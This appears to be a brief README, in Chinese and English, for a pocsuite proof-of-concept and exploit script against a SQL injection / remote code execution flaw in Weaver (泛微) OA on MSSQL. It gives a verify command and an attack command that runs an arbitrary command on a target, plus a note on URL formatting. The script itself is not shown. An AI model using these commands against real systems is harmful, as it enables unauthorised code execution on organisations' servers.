经过测试，该漏洞属于泛微OA msssql远程代码执行漏洞。
测试如图：
POC: PS:url结尾不能有[/],例如：http://127.0.0.1:8080，不能为http://127.0.0.1:8080/
Url ending cannot have [/], for example, http://127.0.0.1:8080, not for http://127.0.0.1:8080/
pocsuite -r weaverOA_sql_injection_POC_EXP.py -u url --verify
EXP:pocsuite -r weaverOA_sql_injection_POC_EXP.py -u url --attack --command "[command]"
PS:url结尾不能有[/],例如：http://127.0.0.1:8080，不能为http://127.0.0.1:8080/
Url ending cannot have [/], for example, http://127.0.0.1:8080, not for http://127.0.0.1:8080/
